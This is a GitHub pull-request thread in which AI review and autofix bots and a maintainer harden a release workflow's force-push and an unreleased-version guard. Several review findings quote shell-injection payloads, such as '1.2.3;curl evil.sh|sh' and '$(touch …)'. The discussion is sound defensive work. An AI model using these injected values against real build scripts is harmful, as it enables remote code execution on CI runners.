| console.error(`::error::${error.message}`); | |
| console.log(`::error::${error.message}`); |
— deepseek-v4-flash via Qwen Code /review (v0.21.11)
中文说明
console.error 将内容写入 stderr,而 GitHub Actions 从 stdout 解析工作流命令(如 ::error::)。错误信息仍会显示在原始日志中,但不会被标注在 GitHub Actions UI 的错误注释区域。工作流逻辑不受影响(通过退出码判断),但运维人员在 UI 中扫描错误注释时将错过此条。
— deepseek-v4-flash via Qwen Code /review (v0.21.11)
| const command = strict | ||
| ? `npm view ${pkg}@${version} version` | ||
| : `npm view ${pkg}@${version} version 2>/dev/null`; |
There was a problem hiding this comment.
[Suggestion] execSync shell interpolation of version in assertVersionUnreleased lacks semver validation — defense-in-depth against future refactoring
execSync runs through a shell by default, and version is interpolated into the command string. assertVersionUnreleased validates only that version is a non-empty string, not that it is a valid semver string. In the current workflow, version is always needs.prepare.outputs.release_version (a computed semver string), so this is not exploitable in production. However, if the script is ever refactored to accept version from a user-supplied input, a version like 1.2.3;curl evil.sh|sh would execute arbitrary shell commands.
| const command = strict | |
| ? `npm view ${pkg}@${version} version` | |
| : `npm view ${pkg}@${version} version 2>/dev/null`; | |
| if (!/^\d+\.\d+\.\d+/.test(version)) { | |
| throw new Error('invalid version format'); | |
| } |
— deepseek-v4-flash via Qwen Code /review (v0.21.11)
中文说明
execSync 默认通过 shell 运行命令,version 被直接拼接进命令字符串。assertVersionUnreleased 仅验证 version 为非空字符串,未验证其是否为有效的 semver 字符串。在当前工作流中,version 始终来自 prepare 任务的计算结果(受控的 semver),因此在生产环境中不可利用。但若将来重构后 version 来自用户输入,类似 1.2.3;curl evil.sh|sh 的值将执行任意 shell 命令。
— deepseek-v4-flash via Qwen Code /review (v0.21.11)
There was a problem hiding this comment.
Declined — not worth the diff growth. The guard's version input is needs.prepare.outputs.release_version, a semver string computed by the prepare job, never user-supplied input; the finding itself notes this is not exploitable in production. Per AGENTS.md's Simplicity First we don't add validation for a scenario that cannot occur today — a future refactor that accepts user-supplied versions would add validation at that new boundary.
Also, the suggested regex is not end-anchored, so it accepts the finding's own injection example:
$ node -e "console.log(/^\d+\.\d+\.\d+/.test('1.2.3;curl evil.sh|sh'))"
true
Implementing it as suggested would grow the diff without closing the hypothetical hole.
中文说明
不予采纳——不值得增加 diff。该守卫的 version 输入来自 needs.prepare.outputs.release_version,是 prepare 任务计算出的 semver 字符串,并非用户提供的输入;该发现本身也指出在生产环境中不可利用。按照 AGENTS.md 的 Simplicity First 原则,我们不为当前不可能发生的场景添加校验——未来若有重构接受用户提供的版本号,应在该新边界处添加校验。
另外,建议的正则未做结尾锚定,因此它会放行该发现自己举的注入示例:
$ node -e "console.log(/^\d+\.\d+\.\d+/.test('1.2.3;curl evil.sh|sh'))"
true
按建议原样实现会增大 diff,却无法堵住这个假想的漏洞。
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
|
🤖 Addressed the latest review feedback (round 7/10). What changed, and what I pushed back on: · 已处理最新评审反馈(第 7/10 轮)。改动内容与我反驳保留之处如下: Autofix review round — PR #9082 (issue #9076)Commit: Critical-only mode is active; the deferred section contained no items. Both inline findings were rendered in the actionable section and are dispositioned below. No conflict ( Feedback points[Suggestion] rc:3786693694 — Claim verified, then reproduced before fixing:
[Suggestion] rc:3786693702 — add semver validation before
Review-level notes (marked non-blocking by the reviewer) — no action
Verification
中文说明Autofix 审查轮次 — PR #9082(issue #9076)提交: 当前处于仅处理 Critical 的模式;延后区域中没有条目。两条行内发现均出现在可执行区域中,处置如下。无冲突( 反馈点[Suggestion] rc:3786693694 — 写入 stderr 的 先验证并复现该主张,再修复:
[Suggestion] rc:3786693702 — 在
审查层面的备注(审查者标记为非阻断)— 无需处理
验证
Deferred non-Critical feedbackCritical-only mode is active: 5 change-producing rounds are complete and the PR's diff grew src 185 / test 406 net lines beyond this counting window's baseline (budgets: 400/400). The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. ( 中文说明已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次,且本计数窗口内 diff 净增长已达 源码 185 / 测试 406 行(预算 400/400)。本轮可执行区域已排除下方非 Critical 反馈;这些条目保持开放,留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后;达到预算的作者(如有)在下方点名。(评论 Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 Re-review when you have a moment. After round 10 this bot stops and leaves the PR for a human. · 有空请复审;第 10 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed. Suggestions are inline.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and its win32 path (the skipIf arm of the release-workflow spawn test) was executed nowhere; the Linux test suite covering the same files ran locally (61/61 scoped, 1184 full scripts suite).
Not explored to full depth (tool budget reached): "agent 1b": none — no check was cut short..
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Test Plan (not a blocker): release/v0.21.12-preview.0 — no such file or directory.
中文说明
仅完成部分审查,审查缺口已披露。 建议见行内评论。
未审查:build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and its win32 path (the skipIf arm of the release-workflow spawn test) was executed nowhere; the Linux test suite covering the same files ran locally (61/61 scoped, 1184 full scripts suite)。
未探索到全部深度(达到工具调用预算):"agent 1b":none — no check was cut short.。
未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
Test Plan(非阻断):release/v0.21.12-preview.0 — no such file or directory。
— qwen3.8-max via Qwen Code /review (v0.21.12)
| export function assertVersionUnreleased(version) { | ||
| if (typeof version !== 'string' || version.length === 0) { |
There was a problem hiding this comment.
[Suggestion] R8-3: assertVersionUnreleased interpolates its only input into execSync shell commands with only a non-empty-string check — probe-proven shell command injection through the shipped CLI entry point. node scripts/get-release-version.js --assert-unreleased='1.2.3; touch /tmp/pwned; #' executes the injected command AND exits 0 (the guard reports "unreleased" — the signal the workflow reads as green-light for git push --force); a $(…) payload also traverses the new double-quoted git ls-remote sink. — Failure scenario: a caller passing a version not validated upstream reaches the npm view / git ls-remote / gh release view sinks → command execution on the release runner while the guard exits 0. Reachability today: every release.yml path delivering a version here is regex-validated in prepare (stable/preview) or owned by an actor whose ref code already executes with the same credentials (nightly) — no reachable trigger crosses a privilege boundary, so this is a hardening defect in new exported code, not a live RCE. A grammar check at the top of the function was probe-verified to flip both payloads to exit 2 while accepting the real nightly/preview version shapes. Witness: PAYLOAD(1.2.3; touch …): EXIT_CODE=0 MARKER_CREATED=yes / PAYLOAD(1.2.3$(touch …)): EXIT_CODE=0 MARKER_CREATED=yes / with the fix below: EXIT=2, no marker file.
| export function assertVersionUnreleased(version) { | |
| if (typeof version !== 'string' || version.length === 0) { | |
| export function assertVersionUnreleased(version) { | |
| if ( | |
| typeof version !== 'string' || | |
| !/^\d+\.\d+\.\d+(-[0-9A-Za-z]+(\.[0-9A-Za-z]+)*)?$/.test(version) | |
| ) { |
中文说明
[建议] R8-3:assertVersionUnreleased 仅做"非空字符串"检查就把唯一输入内插进 execSync shell 命令 —— 已用探针证实可通过随包发布的 CLI 入口实现 shell 命令注入。node scripts/get-release-version.js --assert-unreleased='1.2.3; touch /tmp/pwned; #' 会执行被注入的命令并以 0 退出(守卫报告"未发布" —— 即 workflow 中放行 git push --force 的信号);$(…) 载荷同样能穿透新增的双引号 git ls-remote 汇聚点。 — 失败场景:调用方传入未经上游校验的版本号即可到达 npm view / git ls-remote / gh release view 汇聚点 → 在发布 runner 上执行命令,而守卫以 0 退出。当前可达性:release.yml 中所有把版本号送达此处的路径都经过 prepare 的正则校验(stable/preview),或属于"其 ref 代码本就以相同凭据执行"的角色(nightly)—— 没有可触达路径跨越权限边界,因此这是新增导出代码中的加固缺陷,而非现实 RCE。在函数顶部加入版本语法检查已被探针验证可将两种载荷翻转为 exit 2,同时接受真实的 nightly/preview 版本形式。证据:载荷(1.2.3; touch …):EXIT_CODE=0 标记文件已创建 / 载荷(1.2.3$(touch …)):EXIT_CODE=0 标记文件已创建 / 应用下方修复后:EXIT=2,无标记文件。
— qwen3.8-max via Qwen Code /review (v0.21.12)
| ( | ||
| needs.publish.result == 'failure' && | ||
| needs.publish.outputs.version_refusal != 'true' | ||
| ) |
There was a problem hiding this comment.
[Suggestion] R9-2: The || disjunction connecting this refusal-skip clause to the rest of the notify_failure condition is pinned by no test — the pin in release-workflow.test.js asserts only the two inner lines, while its comment claims "every later publish failure still notify". — Failure scenario: flipping the preceding needs.integration_docker.result == 'failure' || to && keeps all 13 tests green (mutant run at this commit: baseline Tests 13 passed (13), mutant Tests 13 passed (13)), yet a publish-only failure — the common case — would then no longer file the "Release Failed" issue or dispatch autofix; a broken release goes silently unnotified. The fix lives in scripts/tests/release-workflow.test.js (cross-file, so a regular block):
// widen the refusal-test regex to include the connective and grouping:
/needs\.integration_docker\.result == 'failure' \|\|\n {10}\(\n {12}needs\.publish\.result == 'failure' &&\n {12}needs\.publish\.outputs\.version_refusal != 'true'\n {10}\)/Witness: baseline: Tests 13 passed (13) / mutant (|| → &&): Tests 13 passed (13)
中文说明
[建议] R9-2:把这个"版本拒绝即跳过通知"子句连接到 notify_failure 条件其余部分的 || 析取没有任何测试固定 —— release-workflow.test.js 中的固定断言只覆盖内侧两行,而其注释声称"之后任何 publish 失败仍会通知"。 — 失败场景:把前面的 needs.integration_docker.result == 'failure' || 翻转为 &&,全部 13 个测试仍绿(在本提交上运行突变体:基线 Tests 13 passed (13)、突变 Tests 13 passed (13)),但仅 publish 失败 —— 最常见的情形 —— 将不再建 "Release Failed" issue、不再派发 autofix,损坏的发布会静默无人通知。修复位于 scripts/tests/release-workflow.test.js(跨文件,故用普通代码块):把拒绝测试的正则扩展为同时匹配连接词与分组(见上方英文代码块)。证据:基线:Tests 13 passed (13) / 突变(|| → &&):Tests 13 passed (13)
— qwen3.8-max via Qwen Code /review (v0.21.12)
|
🤖 AutoFix updated a stale base — the fix did not pass verification, but this PR was behind What I found before stopping: Handoff — PR #9082 (issue #9076): maintainer decision needed, growth brake engagedThe autofix review loop is stopping without applying any further code fixes this round. The deterministic growth brake has engaged: 5 change-producing rounds have completed in this counting window, the diff stayed over budget for 2+ rounds and is still not shrinking (source 187 / test 410 net lines vs budgets 400/400), and the review findings are themselves driving the growth — so continuing to patch cannot converge. Critical-only mode cannot help: there are no Critical findings left, and this round's actionable sections are empty. State of the PR
Run log: https://github.com/QwenLM/qwen-code/actions/runs/31845189073 🧠 Handled by Qwen Code · model/模型 |
|
🤖 Reviewed the latest feedback — no changes needed. Why, point by point: · 已审阅最新反馈——无需改动。逐点说明原因如下: No changes this round — this PR needs a maintainer's decision (not converging)The workflow's deterministic growth brake has engaged: this PR's diff has stayed over the counting-window budget for 3 consecutive rounds and is still not shrinking. Critical-only mode is active, and this round's actionable sections are empty — the two remaining non-Critical suggestions were excluded by the brake. Per the workflow rules, no further code fixes are applied this round: continuing to patch is exactly what would not converge. The decision below is a maintainer's call, so it is escalated here instead of being settled by the bot. Current state (evidence)
The decisionHow to close this PR without letting the review tail keep growing it:
RecommendationOption A (merge as-is, follow-up for the tail), with Option B as the low-cost alternative if you prefer the tail to land inside this PR. Both tail items are small, non-blocking, and non-Critical, while the core guard fixes a real release-pipeline defect and is pinned by tests. The entire budget overage is ~10 test lines, which argues for closing the PR rather than iterating further. Question for the maintainer: A, B, or a different scoping call? Until then, the loop will keep deferring the non-Critical tail each round and no further automated changes will land. VerificationNo verification commands were run this round: no code changes were made (the workflow's not-converging directive forbids further code fixes this round), so there was nothing to build, typecheck, lint, or test. 中文说明本轮不做任何改动 —— 本 PR 需要维护者决策(未收敛)工作流的确定性增长刹车已触发:本 PR 的 diff 已连续 3 轮超出计数窗口预算,且仍未缩小。当前处于仅处理 Critical 的模式,本轮可执行区域为空——剩余的两条非 Critical 建议已被刹车排除。按照工作流规则,本轮不再应用任何代码修复:继续打补丁正是不会收敛的做法。下面的决定属于维护者的权限,因此在此上报,而不是由机器人自行定夺。 当前状态(证据)
需要决策的问题如何在不让评审尾部继续撑大 diff 的前提下收尾本 PR:
建议方案 A(按现状合并,尾部走后续跟进);如果你希望尾部在本 PR 内落地,方案 B 是低成本的替代选项。两条尾部条目都小、都不阻塞、也都非 Critical;而核心守卫修复了真实的发布流水线缺陷并有测试钉住。整个预算超出仅约 10 行测试代码,这更支持收尾本 PR 而非继续迭代。 给维护者的问题: 选 A、B,还是其他范围决策?在此之前,循环将在每一轮继续延后这些非 Critical 尾部条目,不会再有自动改动落地。 验证本轮未运行任何验证命令:本轮没有做任何代码改动(工作流的"未收敛"指令禁止本轮继续做代码修复),因此没有可构建、类型检查、lint 或测试的内容。 Deferred non-Critical feedbackCritical-only mode is active: 5 change-producing rounds are complete and the PR's diff grew src 187 / test 410 net lines beyond this counting window's baseline (budgets: 400/400). The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. (
中文说明已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次,且本计数窗口内 diff 净增长已达 源码 187 / 测试 410 行(预算 400/400)。本轮可执行区域已排除下方非 Critical 反馈;这些条目保持开放,留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后;达到预算的作者(如有)在下方点名。(评论 Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed. Suggestions are inline.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and the win32 skipIf arm of scripts/tests/release-workflow.test.js was executed nowhere; Test (macos-latest, Node 22.x) was skipped likewise (the same suite ran on Linux instead: 61/61 scoped).
Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5.
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Test Plan (not a blocker): release/v0.21.12-preview.0 — no such file or directory.
中文说明
仅完成部分审查,审查缺口已披露。 建议见行内评论。
未审查:build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and the win32 skipIf arm of scripts/tests/release-workflow.test.js was executed nowhere; Test (macos-latest, Node 22.x) was skipped likewise (the same suite ran on Linux instead: 61/61 scoped)。
未审查:反向审计——在 5 轮的反审轮数上限内未收敛。
未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
Test Plan(非阻断):release/v0.21.12-preview.0 — no such file or directory。
— qwen3.8-max via Qwen Code /review (v0.21.12)
| if ! grep -q "assert-unreleased" scripts/get-release-version.js; then | ||
| echo "::error::Checked-out ref predates the push-time guard; refusing force push." | ||
| exit 1 | ||
| fi |
There was a problem hiding this comment.
[Suggestion] The capability probe matches a string, not the behavior it stands in for — a ref carrying the literal assert-unreleased but without working CLI dispatch passes it, and the misread this check was added to prevent returns: the entry point prints version JSON, exits 0, and GUARD_STATUS=0 reads as "unreleased verified" while the guard never ran. — Failure scenario: operator dispatches with ref pointing at a commit where the string exists but the dispatch glue does not work — a partial revert of this PR (e.g. reverting only the entry-point hunk) or a future refactor relocating runCli while leaving the string in a comment/export → grep -q passes, the invocation hits a pre-PR-shape entry point, prints JSON, exits 0; the retry loop breaks as "verified" and git push --force proceeds with no re-validation. Probe-proven: a reconstructed partial-revert script passes grep, and the guard invocation exits 0 (version JSON printed, force push proceeds); with the fix below, the same ref exits 0 → refuses (fails closed), while the real PR script exits 2 (usage-error path, no network) → capability accepted. Every ref existing today is handled correctly, so this is a rare-ref-state hole in a defense-in-depth check.
| if ! grep -q "assert-unreleased" scripts/get-release-version.js; then | |
| echo "::error::Checked-out ref predates the push-time guard; refusing force push." | |
| exit 1 | |
| fi | |
| GUARD_CAPABILITY=0 | |
| node scripts/get-release-version.js --assert-unreleased= >/dev/null || GUARD_CAPABILITY=$? | |
| if [[ "${GUARD_CAPABILITY}" -ne 2 ]]; then | |
| echo "::error::Checked-out ref lacks a working push-time guard; refusing force push." | |
| exit 1 | |
| fi |
中文说明
[建议] 能力探测匹配的是字符串,而非其代表的行为 —— 携带字面量 assert-unreleased 但 CLI 分发缺失或损坏的 ref 会通过探测,使本检查旨在防止的误读重现:入口打印版本 JSON、以 0 退出,GUARD_STATUS=0 被读作"已确认未发布",而守卫从未运行。 — 失败场景:运维派发时 ref 指向字符串存在但分发接线不工作的提交 —— 对本 PR 的部分回滚(如只回滚入口 hunk),或未来重构移走 runCli 却将字符串留在注释/导出中 → grep -q 通过,守卫调用命中 PR 之前形态的入口,打印 JSON 并以 0 退出;重试循环以"已验证"跳出,git push --force 在没有任何重新校验的情况下执行。已用探针证实:重建的"部分回滚"脚本通过 grep,守卫调用以 0 退出(打印版本 JSON,强制推送会继续);采用下方修复后,同一 ref exit 0 → 拒绝(失败关闭),而真实 PR 脚本 exit 2(用法错误路径,无网络请求)→ 能力通过。当前存在的每个 ref 都能被正确处理,因此这是防御性检查中一个罕见 ref 状态的漏洞。
— qwen3.8-max via Qwen Code /review (v0.21.12)
| } catch (error) { | ||
| // stdout, not stderr: the runner parses workflow commands from | ||
| // stdout only, so ::error:: on stderr would never annotate. | ||
| console.log(`::error::${error.message}`); |
There was a problem hiding this comment.
[Suggestion] The ::error:: annotation is emitted raw, but on the exit-2 probe-failure path error.message embeds the full multi-line execSync stderr, and the runner parses workflow commands line-by-line — the annotation degrades to its first line precisely when the diagnostics matter. — Failure scenario: a probe failure (e.g. a registry outage) makes assertVersionUnreleased throw Failed to verify <pkg>@<version> on npm: Command failed: npm view ... plus the entire npm error block; only the first line becomes the annotation, while the npm error code ETIMEDOUT detail an operator triaging a fail-closed abort needs spills out as bare unannotated log lines. Control flow is unaffected; this is exactly the annotation the comment above this line engineers for the runner. Probe-proven against the real entry point with a stubbed failing npm: stdout line 1 is ::error::Failed to verify @qwen-code/qwen-code@1.2.3 on npm: Command failed: npm view ... with lines 2-5 (npm error code ETIMEDOUT, ...) unannotated; with the fix below, stdout collapses to one annotated line and the exit code is still 2.
| console.log(`::error::${error.message}`); | |
| console.log(`::error::${String(error.message).replaceAll(/\r?\n/g, ' ')}`); |
中文说明
[建议] ::error:: 注解按原样输出,但在 exit 2 探测失败路径上,error.message 内嵌完整的 execSync 多行 stderr,而 runner 按行解析 workflow 命令 —— 注解恰好在诊断信息最重要时退化为第一行。 — 失败场景:探测失败(如 registry 故障)使 assertVersionUnreleased 抛出 Failed to verify <pkg>@<version> on npm: Command failed: npm view ... 及整段 npm 错误块;只有第一行成为注解,而运维排查失败关闭中止所需的 npm error code ETIMEDOUT 细节作为无注解的普通日志行溢出。控制流不受影响;这正是上方注释为 runner 设计该注解的原因。已用真实入口 + 打桩失败的 npm 探针证实:stdout 第 1 行为 ::error::Failed to verify @qwen-code/qwen-code@1.2.3 on npm: Command failed: npm view ...,第 2-5 行(npm error code ETIMEDOUT 等)无注解;采用下方修复后,stdout 收敛为单行注解,退出码仍为 2。
— qwen3.8-max via Qwen Code /review (v0.21.12)
|
🤖 Could not produce a passing fix for this feedback (round 9/10). This item now needs a human; the loop stays engaged and still picks up new feedback and base conflicts, but will not retry this item on its own. What I found before stopping: See the Qwen Autofix agent step logs for model/tool output. Run log: https://github.com/QwenLM/qwen-code/actions/runs/31852424865 🧠 Handled by Qwen Code · model/模型 |
Maintainer verification report — local rig against real npm / GitHub / gitI rebuilt the issue #9076 failure locally and ran both arms of this PR through the workflow's own step body, then exercised every path that must not force-push. Verified at head Verdict: the fix does what it claims, and I could not find a path where it force-pushes something it shouldn't. Two things for you to decide before merging — see Judgment calls at the end. How the rig works
Results — 13 scenarios
S1 reproduces the production failure verbatim — compare with run 31683228236's S9 vs S3 is the case for the guard: identical inputs, and the only difference is the guard's presence. Blast radius of
|
| # | 场景 | 分支 | step 退出码 | 远端 release/<tag> |
version_refusal |
|---|---|---|---|---|---|
| S1 | 失败尝试后的重试(事故本体) | base | 1 non-fast-forward |
未变 —— 重试永远落不了地 | — |
| S2 | 同拓扑同环境 | head | 0 (forced update) |
被重试提交替换 | — |
| S3 | 版本确已发布到 npm(0.21.11,10 个包全有) | head | 1 拒绝 | 未被触碰 | true |
| S13 | 部分发布(0.21.0 目前只在 3/10 个包上) | head | 1 拒绝,且点名这 3 个 | 未被触碰 | true |
| S8 | tag 已存在于 origin | head | 1 拒绝 | 未被触碰 | true |
| S4 | npm registry 不可达 | head | 2(fail closed,265 秒) | 未变 | — → 仍然发通知 |
| S10 | gh release view 跑不了(无 token) |
head | 2(fail closed,83 秒) | 未变 | — → 仍然发通知 |
| S5 | 操作者派发了早于 guard 的 ref |
head | 1 Checked-out ref predates the guard |
未变 | — |
| S6 | dry run | head | 0 Skipping push |
未变 | — |
| S7 | 首次发布(分支不存在) | head | 0 | 创建成功 | — |
| S12 | 首次发布 | base | 0 | 创建成功 | — |
| S9 | 删掉 guard,输入同 S3 | mutant | 0 (forced update) |
被覆盖 | — |
| S11 | 删掉 guard,origin 上已有 tag | mutant | 0 | 分支被替换,origin tag 毫发无损 | — |
S1 与生产日志逐字一致 —— 对照 run 31683228236 的 Commit and Conditionally Push package versions 步骤:
! [rejected] release/v0.21.12-preview.0 -> release/v0.21.12-preview.0 (non-fast-forward)。
S9 与 S3 的对比就是 guard 的价值证明:输入完全相同,唯一差别是有没有 guard。
--force 的影响半径
这里的 --follow-tags 实际什么都不推:tag 是在后面的 Create GitHub Release and Tag 里由 gh release create 创建的,push 时本地根本没有 tag。S11 实测确认:即使删掉 guard,origin 上已存在的 refs/tags/v0.21.12-preview.0 在 forced update 后依然原封不动。force 的作用域只有 release/<tag> 分支。
测试、变异覆盖与两处 workflow 闸门
- head 上
release-workflow.test.js+get-release-version.test.js:61 通过,0 失败。 - 变异矩阵 15/15 全被抓住。 我在 head 树上逐个破坏一个性质(去掉
--force;删掉能力检查;从 step env 去掉RELEASE_VERSION/GITHUB_TOKEN;把cancel-in-progress翻成 true;从 group key 去掉is_dry_run;删掉timeout-minutes;把通知闸门改回旧写法;不再导出 output;删掉重试循环;把拒绝映射成 exit 2;让非 E404 的 npm 错误蒙混过关;改查本地 tag 而非 origin;去掉入口的process.exit;命中后不再扫完所有包)——每一个都有测试失败。新加的 pin 都是有效的。 notify_failure的if:用 GitHub 官方引擎(@actions/expressions@0.3.61)求值,不是我手推的:只有version_refusal == 'true'这一行从true翻成false;普通 publish 失败、fail-closed 的探针错误、prepare 失败、dry run 的行为与 main 完全一致。- publish 的
concurrencygroup 渲染为release-publish-v0.21.12-preview.0-false/-true,dry run 不会排到真实发布前面。GitHub 侧的排队语义本身无法本地复现,已列入未验证项。 - head 上跑完整
npm run test:scripts:2 个失败,均与本 PR 无关 ——install-script.test.js › does not package audio-capture test artifacts在 merge-base 上同样失败(既有问题,macOS 环境),qwen-autofix-fork-bridge-workflow.test.js只在并行压力下超时(head 上单独跑 7.8 秒通过)。
需要你判断的点
1. PR 描述已经与 diff 对不上了。 描述里只讲了 force push,但现在的改动还包含推送前的 guard(--assert-unreleased,退出码 0/2/3)、guard 前的能力检查、按 tag 的 concurrency + timeout-minutes: 90、version_refusal 输出,以及 notify_failure 闸门。建议合并前重写 —— 下次事故的考古会从这段描述开始。
2. 部分发布现在会被拒绝,而且是"静默"的。 我对着线上 registry 核实过:prepare 的 getVersion 会跳过任何"在任一已发布包上存在"的版本,即使操作者显式传了 version 也一样(0.21.0-preview.0 → 算出 0.21.0-preview.2)。所以 exit 3 只有两条到达路径:版本在 prepare 与 push 之间被发布出去(正是本 guard 要防的竞态,很好),或者对"已发布了部分包"的 run 点 "Re-run failed jobs" —— 这时 prepare 的 outputs 被复用。第二种情况下 guard 会拒绝(S13 展示了真实形态:拒绝并精确点名已发布的子集),version_refusal=true 被写入,于是 notify_failure 不会建 Release Failed issue、不会派发 autofix,只剩一个红色的 run。这与 publish 各步骤刻意写成可续跑(already published; skipping)的设计略有张力。拒绝本身是安全的、提示语也诚实("手动补齐剩余产物");问题在于:半发布状态下丢掉通知,是不是你想要的结果,还是说"部分命中"应当留在通知路径上。
小问题、无需处理:能力检查用的是字面量 assert-unreleased 的 grep,因此一个只在注释里出现该字符串的 ref 也能通过 —— 实际不可达。
未验证
真实端到端发布(需要发布凭据);GitHub 实际的并发排队/取消语义(只验证了 group key 的渲染与测试 pin);Windows。验证台仓库带的是 PR 真实的 scripts/、各 manifest 与 workflow,并用 npm version + manifest 改写代替 npm run release:version —— 本测试里 bump 只需要制造一个分叉提交。
|
🤖 Reviewed the latest feedback — no changes needed. Why, point by point: · 已审阅最新反馈——无需改动。逐点说明原因如下: This round had no actionable feedback to address: there were no inline comments, no failed checks, and this counting window's deferred non-Critical backlog is empty. On top of that, the deterministic growth brake is engaged (5 change-producing rounds; the diff sits at source 187 / test 410 net lines vs budgets 400/400 and is not shrinking), which instructs the loop to stop patching and hand the remaining decision to a maintainer. No code changes were made this round. The decision now belongs to the maintainer (full handoff in the run summary): how to close out this PR — accept as-is, split, or redesign. Recommendation: accept as-is and merge, because:
Two maintainer judgment calls from that report remain open and are carried into the handoff:
No conflict with main. 中文说明本轮没有可处理的反馈:没有行内评论、没有失败的检查,本计数窗口延后的非 Critical 积压也为空。此外,确定性的增长刹车已经触发(已完成 5 个产生改动的轮次;diff 净增长为 源码 187 / 测试 410 行,预算 400/400,且仍未收缩),它指示循环停止继续修补,把剩余决策交给维护者。本轮未做任何代码改动。 决策现在属于维护者(完整 handoff 见本次运行的 summary):本 PR 如何收尾——按现状接受、拆分,或重新设计。 推荐:按现状接受并合并,理由:
该报告中两个维护者判断项仍然开放,已一并写入 handoff:
与 main 无冲突。评论 Deferred non-Critical feedbackCritical-only mode is active: 5 change-producing rounds are complete and the PR's diff grew src 187 / test 410 net lines beyond this counting window's baseline (budgets: 400/400). The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. ( 中文说明已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次,且本计数窗口内 diff 净增长已达 源码 187 / 测试 410 行(预算 400/400)。本轮可执行区域已排除下方非 Critical 反馈;这些条目保持开放,留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后;达到预算的作者(如有)在下方点名。(评论 Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
No issues found. LGTM! ✅
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Test Plan (not a blocker): release/v0.21.12-preview.0 — no such file or directory.
中文说明
未发现问题。LGTM!✅
未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
Test Plan(非阻断):release/v0.21.12-preview.0 — no such file or directory。
— qwen3.8-max via Qwen Code /review (v0.21.12)
|
Released in v0.21.13. |




What this PR does
The release publish job now force-pushes the per-release branch (
release/<tag>) instead of doing a plain push. When an earlier attempt of the same release failed after pushing that branch, the stale branch remains on the remote, and every retry dies in the "Commit and Conditionally Push package versions" step with a non-fast-forward rejection because the retry's fresh version-bump commit diverges from the stale tip. With the force push, a retry simply replaces the stale branch and the release proceeds. A release-workflow script test pins the new command so it cannot silently regress.Why it's needed
This is exactly what blocked the
v0.21.12-preview.0release in issue #9076. Run 863 pushedrelease/v0.21.12-preview.0and then failed at "Build Standalone Archives". After a fix commit landed on the feature branch, the re-dispatched run 864 computed the same version (correctly — nothing had been published), committed a fresh bump on the new head, and was rejected at the push because the remote branch still pointed at run 863's divergent bump commit. The release version computation already increments the version whenever an npm package, git tag, or GitHub release exists for it, so reaching this push with an unchanged version guarantees nothing has shipped for it — the stale branch can only hold a prior bump commit, which makes replacing it safe. Without this fix, any release whose first attempt fails after the branch push can never be retried without someone manually deleting the remote branch.Reviewer Test Plan
How to verify
The incident itself is a GitHub Actions push rejection and cannot be replayed verbatim in unit tests, so the verification is a local reconstruction of the exact git topology plus the repository's lint/test gates:
git ls-remote origin 'refs/heads/release/v0.21.12-preview.0'shows the stale branch left by the failed run 863, and there are nov0.21.12*tags, so nothing shipped.release/v0.21.12-preview.0bump branch from one head, then clone, advance the head, recreate the branch with a new bump commit, and push. The old command (git push --set-upstream origin <branch>) fails with! [rejected] ... (non-fast-forward)— the incident's exact error — while the new command (git push --force --set-upstream origin <branch>) succeeds with(forced update)and the remote branch carries the new head plus bump.npx vitest run --config ./scripts/tests/vitest.config.ts scripts/tests/release-workflow.test.js— all pass, including the new pin.IS_DRY_RUN == "false"branch) and that first-time releases are unaffected (force-pushing a nonexistent ref creates it).Evidence (Before & After)
N/A — CI workflow change, no user-visible/TUI behavior.
Before:
git push --set-upstream origin "${BRANCH_NAME}" --follow-tags→! [rejected] release/v0.21.12-preview.0 -> release/v0.21.12-preview.0 (non-fast-forward)on any retry after a failed attempt that pushed the branch (reproduced in the local topology rig; identical to run 864's failed step).After:
